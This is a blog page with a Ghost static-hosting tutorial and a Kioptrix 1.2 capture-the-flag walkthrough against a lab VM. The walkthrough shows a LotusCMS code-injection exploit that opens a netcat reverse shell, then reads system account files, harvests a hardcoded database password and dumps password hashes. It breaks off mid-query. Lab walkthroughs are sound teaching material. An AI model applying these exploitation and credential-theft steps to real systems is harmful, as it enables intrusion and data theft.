rootshellz

Welcome Back & How to Run a Ghost Blog for Free

rootshellz — Sun, 14 Feb 2021 00:00:00 GMT

Welcome Back to the rootshellz blog

Hello world! It's been quiet some time since I've put any effort at all into this blog. However, I still enjoy writing about new things I am learning about and experimenting with, so I figure it's time I revive the rootshellz blog! My main interest is still security, so the content will mostly be related, but there will also be general technology-related content as well, such as this article.

The Problem

There is no shortage of blogging platforms these days. There are fully managed solutions ranging from the free WordPress.com and Medium.com, to ad-supported Wix.com, to paid premium managed platforms like Wordpress.org and Ghost.org. There's also the "old-school" more hands-on method of self-hosting a blog. Many of the same services offering hosted solutions also offer their software for use on self-hosted sites. This includes Wordpress and my personal favorite, Ghost.

What if, like me, you want the flexibility of a self-hosted solution, without the cost of a managed solution, but with the high-availability and reliability of a paid-platform? That would certainly be too much to ask for, right? Not so fast!

The Solution

In the rest of this article, I will outline how I use a local version of the open-source version of Ghost in conjunction with Docker and Mr Mo's ghost-static-site-generator to produce a static blog that is hosted for free using GitHub Pages and then add the ability to comment using Disqus, another free service. The result is this blog that you are reading right now!

Motivation

So why use this method?

Pros

Free. You can run a blog (or website) with nothing out of pocket. Add a few dollars a year if you want to have your own domain.
Minimal upkeep. No OS or web server to patch; No node.js to update; etc.
Minimal attack surface. No web server to accidentally misconfigure, no outdated software to forget to patch, no dynamic content requiring potentially vulnerable backend code, and no database to steal data from or insert malicious code into. (Caveat: this is assuming GitHub does it's part, but they have a great reputation.)
Site will theoretically be as highly-available and scalable as GitHub.com itself.

Cons

Everything published is public, for (mostly) forever. Since the entire site is hosted within a GitHub repository, even removed content will exist within the commit history. The exception here is if you delete the repo and re-create it with fresh history, which is totally possible, but not documented here.
You lose all dynamic features like default commenting systems, user registration and related functionality, and scheduling publication of posts in the future. You will have no dynamic backend. If you really need features like these, this is probably not the best setup for your blog or site.
You are at the mercy of GitHub. If the site goes down, there is nothing you can do. There is also a risk that GitHub discontinues or otherwise changes their pages offering or ToS.
No access control. You can't limit your site to only certain users or IP addresses.

How to Ghost Tutorial

Let me first say, there are multiple way to accomplish this end result, including using platforms other than Ghost, but this is the way I do it and it work for me. I have updated this process with slight variations over the years.

Components

Ghost - Free-to-use, open-source blogging platform written in node.js. This is the tool that will allow us to actually manage our blog and publish new articles and content.
Docker - Container-based virtualization platform. This will allow us to easily run some necessary tools locally, without worrying about mucking up our local environment.
Mr Mo's ghost-static-site-generator - This is a tool that will "freeze" our locally hosted Ghost blog, converting it from a local-only dynamic blog to a set of static assets that we can deploy to a website hosting platform.
GitHub Pages - This allows us to host our blog for free on GitHub.com by deploying out static assets to a properly configured git repository. This gives our site all the reliability of GitHub. It also means we get some freebies like managed TLS including a free CA-signed certificate, although since our site is static, this is mostly for the lolz.
Disqus - A free-to-use comment system that is popular across the Internet. Users with a Disqus account will be able to comment on pages on our site. (Scroll to the bottom of this article and leave a comment using Disqus now!)
Optionally, you also can use a custom domain name purchased from your choice or providers. My registrar of choice is Namecheap.

Process

This is the process I use to run this blog:

First of all, you will need two GitHub.com repositories. One private repository to hold your actual Ghost site database and assets, for local editing. I call this repo blog.rootshellz.com. This repo should remain private. The second repo should be public and configured for GitHub pages. I call this repo rootshellz.github.io.

To set up the public repository to be served by GitHub Pages:

Create the repository (make it public)
Open the repo in your browser and select Settings.
Scroll down to the GitHub Pages section.
Select the appropriate branch to enable pages.
If you have a custom domain name, enter it. (You will also need to add a CNAME to point your domain to GitHub – e.g. blog 300 IN CNAME rootshellz.github.io.)
Optionally, enable Enforce HTTPS. Do it, why not?

From here, it's just a matter of installing Docker and following this workflow:

Work on the private repo locally:

Clone the private, "back-end" repo: e.g. git clone git@github.com:rootshellz/blog.rootshellz.com.git
- or just git pull from inside of the correct existing directory
Create a new branch for the changes you are going to make: git checkout -b creating_new_post
Launch the local Ghost blog via a Docker container with Ghosts's content mapped as a volume:
- docker run -d --name ghost -e url=https://blog.rootshellz.com -p 3001:2368 -v /Path/to/private/repo/blog.rootshellz.com/ghost/content:/var/lib/ghost/content ghost (Replace the mapped path with the correct path to your private repo.)
Once running, you will now be able to view the Ghost site locally and make changes using Ghost UI.
- Viw your site locally: /
- Access the admin panel to make changes: /ghost
After you have made the desired changes, using Ghost's web interface, commit them to the private repo:
- git add -A
- git commit -m "Making some changes"
- git push
- If you didn't push straight to the master branch, go to GitHub and create a pull request (PR) for the changes and merge into the master branch.

Now, we will be syncing the back-end changes to the public repository:

Clone the public, GitHub Pages, repo: e.g. git clone git@github.com:rootshellz/rootshellz.github.io.git
- or just git pull from inside of the correct existing directory
Create a new branch for the changes you are going to sync. These will be your published changes to the public site: git checkout -b creating_new_post
Blow everything away: rm -rf /Path/to/public/repo/rootshellz.github.io/*
- This is required to correctly sync everything, otherwise content removed from your site locally won't be removed on the production site. Be sure to remove the content inside of the repo (.../*) instead of the repo itself (.../). This should preserve hidden files and directories, importantly including .../.git.
"Freeze" the blog using ghost-static-site-generator. The tool runs on node.js, so it's easiest to use a Docker container so as to avoid mucking with a local node setup.:
- docker exec -it $(docker run -dt --name gssg --network="host" -v /Path/to/public/repo/rootshellz.github.io:/ghost_static node /bin/bash) /bin/bash (Replace the mapped path with the correct path to your public repo.)
- From inside of the container, run:
  - npm install -g ghost-static-site-generator
  - gssg --domain https://blog.rootshellz.com --url https://blog.rootshellz.com --dest ghost_static/ (Replace the argument after the --url flag with your actual URL.)
  - Re-add the CNAME: echo your.domain.com > ghost_static/CNAME (e.g. echo blog.rootshellz.com > ghost_static/CNAME)
  - Exit the container: exit
Sync the local changes to the public repository:
- git add -A
- git commit -m "Makeing some changes"
- git push
- If you didn't push straight to the master branch, go to GitHub and create a pull request (PR) for the changes and merge into the master branch.
  - Any changes merged to the master branch (or whatever branch you defined in the GitHub Pages settings above) will now by published and live on your site!
Cleanup the Docker containers:
- docker rm -f ghost
- docker rm -f gssg

Comments

The final piece to this puzzle is to add comment functionality to our blog (or site). We do this using Disqus. There are multiple ways to accomplish this, but I followed this method published by Disqus and endorsed by Ghost. Other options involve simply adding Disqus-provided JavaScript to the footer of every page, using Ghost's Code injection functionality.

Follow these steps using the above process for making changes to your private repo and then syncing them to the public, GitHub pages repo:

Sign up at Disqus and register a new site.
Copy the Ghost-Disqus comment code (provided by Disqus).

Paste the comment code into post.hbs for whatever theme you are running. (For me, this is under /Path/to/private/repo/blog.rootshellz.com/ghost/content/themes/the-shell-master/post.hbs.) Note that some themes may have default Disqus code built in, but I just replace it with the Disqus provided code.
Replace the example in the line s.src='https://EXAMPLE.disqus.com/embed.js'; with your unique Disqus info. (e.g. mine becomes s.src='https://rootshellz.disqus.com/embed.js';
After doing the "sync-to-prod dance" as defined above, you should now see Disqus comment functionality at the bottom of your blog posts.

Conclusion

There you have it. Follow this process and you too can easily self-publish a professional quality blog for free using Ghost, GitHub Pages, and Disqus.

Kioptrix: Level 1.2 (#3) Walkthrough

rootshellz — Tue, 12 Sep 2017 04:49:33 GMT

Intro

Today I will be continuing on the the Kioptrix series of vulnerable VMs. In previous posts, I covered Kioptrix1 and Kioptrix1.1.

Per the author of the challenge, "The same as the others, there’s more then one way to “pwn” this one. There’s easy and not so easy." So let's see if we can find both, shall we?

Setup

The challenge description and Readme file tells us that in addition to spinning up the VM and letting DHCP assign it an address, we also need to point kioptrix3.com to the VM's IP. The Readme also confirms this is another web challenge, which makes sense given the required name mapping. Let's spin up the VM, find it on the network, and then point the domain name via our Kali attack box's hosts file.

We use an nmap Ping scan of our local subnet to identify the target.

root@kali:~# nmap -T4 -sn 172.16.2.0/24

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-30 23:01 PDT
Nmap scan report for 172.16.2.1
Host is up (0.00013s latency).
MAC Address: 00:50:56:C0:00:02 (VMware)
Nmap scan report for 172.16.2.132
Host is up (0.00015s latency).
MAC Address: 00:0C:29:0A:F9:22 (VMware)
Nmap scan report for 172.16.2.254
Host is up (0.00013s latency).
MAC Address: 00:50:56:F5:96:F6 (VMware)
Nmap scan report for 172.16.2.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 12.86 seconds

Process of elimination of the know addresses means 172.16.2.132 is our target.

Per the Readme, let's point kioptrix3.com to 172.16.2.132:

root@kali:~# echo "172.16.2.132  kioptrix3.com" >> /etc/hosts

Initial Scanning and Enumeration

With out target identified and name resolution set up, let's move on to initial scanning of the VM.

TCP scanning:

root@kali:~# nmap -T4 -Pn -sV -O -p- kioptrix3.com

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-30 23:08 PDT
Nmap scan report for kioptrix3.com (172.16.2.132)
Host is up (0.00045s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:0A:F9:22 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.10 seconds

UDP scanning:

root@kali:~# nmap -T4 -Pn -sU --top-ports 200 -sV -O 172.16.2.132

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-30 23:09 PDT
Nmap scan report for kioptrix3.com (172.16.2.132)
Host is up (0.00044s latency).
All 200 scanned ports on kioptrix3.com (172.16.2.132) are closed (154) or open|filtered (46)
MAC Address: 00:0C:29:0A:F9:22 (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 307.11 seconds

Not much to work with, but at least we know where to focus our effort.

Deeper Apache enumeration with relevant nmap scripts:

root@kali:~# nmap -T4 -Pn -p 80 --script=http-apache-negotiation.nse,http-apache-server-status.nse,http-backup-finder.nse,http-coldfusion-subzero.nse,http-comments-displayer.nse,http-config-backup.nse,http-csrf.nse,http-default-accounts.nse,http-devframework.nse,http-dombased-xss.nse,http-drupal-enum.nse,http-drupal-enum-users.nse,http-enum.nse,http-git.nse,http-headers.nse,http-iis-short-name-brute.nse,http-iis-webdav-vuln.nse,http-mcmp.nse,http-methods.nse,http-method-tamper.nse,http-mobileversion-checker.nse,http-open-proxy.nse,http-open-redirect.nse,http-passwd.nse,http-phpmyadmin-dir-traversal.nse,http-phpself-xss.nse,http-php-version.nse,http-proxy-brute.nse,http-robots.txt.nse,http-shellshock.nse,http-sitemap-generator.nse,http-sql-injection.nse,http-stored-xss.nse,http-title.nse,http-unsafe-output-escaping.nse,http-userdir-enum.nse,http-vhosts.nse,http-vuln-cve2006-3392.nse,http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3192.nse,http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-2129.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,http-vuln-cve2015-1635.nse,http-waf-detect.nse,http-waf-fingerprint.nse,http-webdav-scan.nse,http-wordpress-enum.nse,http-wordpress-users.nse,http-xssed.nse,membase-http-info.nse,rmi-vuln-classloader.nse 172.16.2.132

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-30 23:20 PDT
Nmap scan report for kioptrix3.com (172.16.2.132)
Host is up (0.00034s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=kioptrix3.com
|     
|     Path: http://kioptrix3.com/index.php?system=Admin
|     Line number: 12
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 72
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Line number: 27
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 54
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 70
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 23
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Line number: 58
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Line number: 112
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 48
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/g.php/1
|     Line number: 47
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Line number: 108
|     Comment: 
|         
|         //-->        
|     
|     Path: http://kioptrix3.com/gallery/themes/black/style.css
|     Line number: 1
|     Comment: 
|         /*  
|         Theme Name: Gallarific Black
|         Theme URI: http://www.gallarific.com/
|         Description: The Gallarific black photo gallery theme
|         Version: 1.0
|         Author: Gallarific
|         Author URI: http://www.gallarific.com/
|         */
|     
|     Path: http://kioptrix3.com/gallery/g.php/1
|     Line number: 47
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 101
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 55
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Line number: 29
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 38
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 55
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 70
|     Comment: 
|         
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Line number: 39
|     Comment: 
|_        
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=kioptrix3.com
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://kioptrix3.com/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://kioptrix3.com/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://kioptrix3.com/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://kioptrix3.com/gallery/gadmin/
|     Form id: username
|     Form action: index.php?task=signin
|     
|     Path: http://kioptrix3.com/gallery/index.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380#comments
|     Form id: commentform
|     Form action: 
|     
|     Path: http://kioptrix3.com/index.php?system=Blog&post=1281005380
|     Form id: commentform
|_    Form action: 
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
| http-headers: 
|   Date: Wed, 30 Aug 2017 23:20:14 GMT
|   Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|   X-Powered-By: PHP/5.2.4-2ubuntu5.6
|   Set-Cookie: PHPSESSID=c148ca51a0a449b611c4c46c62b9ddfe; path=/
|   Expires: Thu, 19 Nov 1981 08:52:00 GMT
|   Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|   Pragma: no-cache
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Versions from logo query (less accurate): 5.1.3 - 5.1.6, 5.2.0 - 5.2.17
| Versions from credits query (more accurate): 5.2.3 - 5.2.5, 5.2.6RC3
|_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.6
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|     /gallery/gadmin/
|       Other: 1
|     /gallery/photos/
|       jpg: 3
|     /gallery/themes/black/
|       css: 1; js: 1
|   Longest directory structure:
|     Depth: 3
|     Dir: /gallery/themes/black/
|   Total files found (by extension):
|_    Other: 2; css: 1; jpg: 3; js: 1; php: 1
| http-sql-injection: 
|   Possible sqli for queries:
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=loginSubmit%27%20OR%20sqlspider&system=Admin
|     http://kioptrix3.com/gallery/themes/black/slideshow.php?pause=%27%20OR%20sqlspider
|     http://kioptrix3.com/gallery/themes/black/%20%22slideshow.php?pause=%22%27%20OR%20sqlspider
|     http://kioptrix3.com/gallery/themes/black/path+%22gallery.php?id=%22%2bgallery_id%2b%22%27%20OR%20sqlspider&sort=%22%2bfield%2b%22#photos";
|     http://kioptrix3.com/gallery/themes/black/path+%22gallery.php?id=%22%2bgallery_id%2b%22&sort=%22%2bfield%2b%22%27%20OR%20sqlspider#photos";
|     http://kioptrix3.com/gallery/themes/black/tags.php?tag=%27%20OR%20sqlspider
|     http://kioptrix3.com/gallery/themes/black/%20%22slideshow.php?id=%22%27%20OR%20sqlspider
|     http://kioptrix3.com/gallery/themes/black/%20%22tags.php?sort=%22%2bfield%2b%22%27%20OR%20sqlspider&tag=%22%2btag%2b%22#photos";
|     http://kioptrix3.com/gallery/themes/black/%20%22tags.php?sort=%22%2bfield%2b%22&tag=%22%2btag%2b%22%27%20OR%20sqlspider#photos";
|     http://kioptrix3.com/gallery/themes/black/slideshow.php?id=%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|     http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|_    http://kioptrix3.com/index.php?page=index%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Ligoat Security - Got Goat? Security ...
| http-vhosts: 
|_127 names had status 200
|_http-xssed: No previously reported XSS vuln.
MAC Address: 00:0C:29:0A:F9:22 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.70 seconds

So far, we have collected some software versions and some interesting spidered URLs to check out, including some URLs that may be vulnerable to SQL injection.

Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
PHP/5.2.4-2ubuntu5.6

Web App Fingerprinting

Let's manually map the application a bit via our browser and Burp. We will simply proxy our browser through Burp with Intercept turned off. This will allow us to quickly click around the web app and then inspect the requests and responses.

One of the first things we can see is the web application is running something called LotusCMS:

I've never heard of LotusCMS, but let's see what Exploit DB can tell us about it:

RCE

RCE spotted (assuming the vulnerable version of the CMS)! The ExploitDB page for the Metasploit module references https://secuniaresearch.flexerasoftware.com/secunia_research/2011-21/, which is a decent summary of the issue. The jist is that arbitrary PHP code execution is possible due to two separate issues in the CMS' code. Both issues are caused by incorrectly implemented input sanitization with the input being passed to the PHP eval() statement. This effectively provides system-level RCE by injecting PHP system() calls.

Let's see if we can find a stand-alone exploit script, instead of using Metasploit.

The repo contains both Bash and Ruby stand-alone exploitation scripts. Thanks Hood3dRob1n! Let's go for the Bash script... After a quick review, we verify that the script is safe to run and understand its functionality. When run, the script will check that we have a vulnerable target, ask us to select from a menu of payloads, and then run the exploit. Interestingly, it appears Hood3dRob1n wrote this script with Kioptrix #3 (1.2) in mind.

Exploiting the RCE

We start our listener:

root@kali:~# nc -vvlp 1337
listening on [any] 1337 ...

Then run the sploit:

root@kali:~# ./lotusRCE.sh
USAGE: ./lotusRCE.sh target LotusCMS_path
EX: ./lotusRCE.sh 192.168.1.36 /lcms/
EX: ./lotusRCE.sh ki0ptrix3.com /

root@kali:~# ./lotusRCE.sh kioptrix3.com /
Path found, now to check for vuln....

Hood3dRob1n
Regex found, site is vulnerable to PHP Code Injection!

About to try and inject reverse shell....
what IP to use?
172.16.2.129
What PORT?
1337

OK, open your local listener and choose the method for back connect: 
1) NetCat -e      3) NetCat Backpipe  5) Exit
2) NetCat /dev/tcp  4) NetCat FIFO
#? 1

Flipping back to our listener:

root@kali:~# nc -vvlp 1337
listening on [any] 1337 ...
connect to [172.16.2.129] from kioptrix3.com [172.16.2.132] 35306

hostname
Kioptrix3

whoami
www-data

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Very nice, we now have a www-data user shell. I'll admit, I don't know much about the Suhosin patch we detected, but I believe it is intended to protect PHP web apps against exploitation. Maybe it was misconfigured on this app? At any rate, let's go after root.

Local Privilege Escalation

Local Enumeration

I could accomplish this step using my Linux enumeration script, but let's have a go by hand. If we can't find any low hanging fruit, we will fall back to the more thorough script.

We first need to see what we are working with:

uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"

From here, let's see what users we have on the system:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash

lastlog
Username         Port     From             Latest
root             tty1                      Mon Apr 18 11:29:13 -0400 2011
daemon                                     **Never logged in**
bin                                        **Never logged in**
sys                                        **Never logged in**
sync                                       **Never logged in**
games                                      **Never logged in**
man                                        **Never logged in**
lp                                         **Never logged in**
mail                                       **Never logged in**
news                                       **Never logged in**
uucp                                       **Never logged in**
proxy                                      **Never logged in**
www-data                                   **Never logged in**
backup                                     **Never logged in**
list                                       **Never logged in**
irc                                        **Never logged in**
gnats                                      **Never logged in**
libuuid                                    **Never logged in**
dhcp                                       **Never logged in**
syslog                                     **Never logged in**
klog                                       **Never logged in**
mysql                                      **Never logged in**
sshd                                       **Never logged in**
loneferret       pts/1    192.168.1.106    Sat Apr 16 08:51:58 -0400 2011
dreg                                       **Never logged in**

Besides root, it looks like loneferret is the only other user to have accessed the system. Let's see what he has been up to:

ls -la /home/loneferret
total 64
drwxr-xr-x 3 loneferret loneferret  4096 Apr 17  2011 .
drwxr-xr-x 5 root       root        4096 Apr 16  2011 ..
-rw-r--r-- 1 loneferret users         13 Apr 18  2011 .bash_history
-rw-r--r-- 1 loneferret loneferret   220 Apr 11  2011 .bash_logout
-rw-r--r-- 1 loneferret loneferret  2940 Apr 11  2011 .bashrc
-rw------- 1 root       root          15 Apr 15  2011 .nano_history
-rw-r--r-- 1 loneferret loneferret   586 Apr 11  2011 .profile
drwx------ 2 loneferret loneferret  4096 Apr 14  2011 .ssh
-rw-r--r-- 1 loneferret loneferret     0 Apr 11  2011 .sudo_as_admin_successful
-rw-r--r-- 1 root       root         224 Apr 16  2011 CompanyPolicy.README
-rwxrwxr-x 1 root       root       26275 Jan 12  2011 checksec.sh

cat /home/loneferret/.bash_history
sudo ht
exit

cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

/home/loneferret/checksec.sh
Usage: checksec [OPTION]

Options:

  --file 
  --dir  [-v]
  --proc 
  --proc-all
  --proc-libs 
  --kernel
  --fortify-file 
  --fortify-proc 
  --version
  --help

For more information, see:
  http://www.trapkit.de/tools/checksec.html

Well, that is all very interesting. We have a couple of references to the ht application as well as a script, that per the [link](http://www.trapkit.de/tools/checksec.html from the help dialogue, "is designed to test what standard Linux OS and PaX security features are being used." On a hunch, what if we check the security on the the ht executable?

which ht
/usr/local/bin/ht

ls -l /usr/local/bin/ht
-rwsr-sr-x 1 root root 2072344 Apr 16  2011 /usr/local/bin/ht

ht --version
ht 2.0.18 (POSIX) 07:26:02 on Apr 16 2011
(c) 1999-2004 Stefan Weyergraf
(c) 1999-2009 Sebastian Biallas

First, we notice the file is owned by root and has the SUID bit set along with word-executable permissions. This means that anyone can run this executable file and when they do, it will assume the effective UID of root (0). Given that this appears to be an editor, I think we have found our way in.

ht /etc/shadow

python -c 'import pty; pty.spawn("/bin/sh")'

$ ht /etc/shadow
ht /etc/shadow
Error opening terminal: unknown.

$ export TERM=xterm
export TERM=xterm

$ ht /etc/shadow
ht /etc/shadow
save_systemconfig(): error: I/O error: Permission denied

sudo -l
[sudo] password for www-data:

Damn, we can't catch a break. First, we have trouble running ht in our reverse shell. Then, once we get past that problem, we run in to permissions issues as the www-data user. I get the feeling we are supposed to be the loneferret user to take advantage of the ht privilege escalation. Let's keep enumerating and see what we can find.

(Update: After completing more of this post realized that the permissions issue is actually related to how ht handles the setuid / setgid vs the permissions on /etc/shadow. If we wanted to, we could have escalate privileges to root using the www-data user.)

Local Enumeration Pt. 2

We have a shell as the www-data user, which means we should have full control of the web application that we compromised. We didn't spend too much time enumerating the web app before we found the PHP exploit, so it's possible there is other functionality at play. We now have the advantage of auditing the web app from the inside.

On a hunch, let's try for a quick and easy win:

$ pwd
pwd
/home/www/kioptrix3.com
$ 

$ ls -l
ls -l
total 84
drwxrwxrwx  2 root root  4096 Apr 15  2011 cache
drwxrwxrwx  8 root root  4096 Apr 14  2011 core
drwxrwxrwx  8 root root  4096 Apr 14  2011 data
-rw-r--r--  1 root root 23126 Jun  5  2009 favicon.ico
drwxr-xr-x  7 root root  4096 Apr 14  2011 gallery
-rw-r--r--  1 root root 26430 Jan 21  2007 gnu-lgpl.txt
-rw-r--r--  1 root root   399 Feb 23  2011 index.php
drwxrwxrwx 10 root root  4096 Apr 14  2011 modules
drwxrwxrwx  3 root root  4096 Apr 14  2011 style
-rw-r--r--  1 root root   243 Aug  5  2010 update.php

$ grep password ./*
grep password ./*

$ grep password ./*/*
grep password ./*/*
./gallery/db.sql:  `password` varchar(100) NOT NULL default '',
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
[... snip ...]

$ grep gallarific_mysql ./*/*
grep gallarific_mysql ./*/*
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_server"] = "localhost";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_database"] = "gallery";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_username"] = "root";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
[... snip ...]

Hmm, that seems helpful. Let's see what is stored in the DB:

$ mysql -u root -p
mysql -u root -p
Enter password: fuckeyou

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 212
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| gallery            | 
| mysql              | 
+--------------------+
3 rows in set (0.00 sec)

mysql> use gallery;
use gallery;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+----------------------+
| Tables_in_gallery    |
+----------------------+
| dev_accounts         | 
| gallarific_comments  | 
| gallarific_galleries | 
| gallarific_photos    | 
| gallarific_settings  | 
| gallarific_stats     | 
| gallarific_users     | 
+----------------------+
7 rows in set (0.00 sec)

mysql> select * from dev_accounts;
select * from dev_accounts;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 | 
|  2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e | 
+----+------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from gallarific_users;
select * from gallarific_users;
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
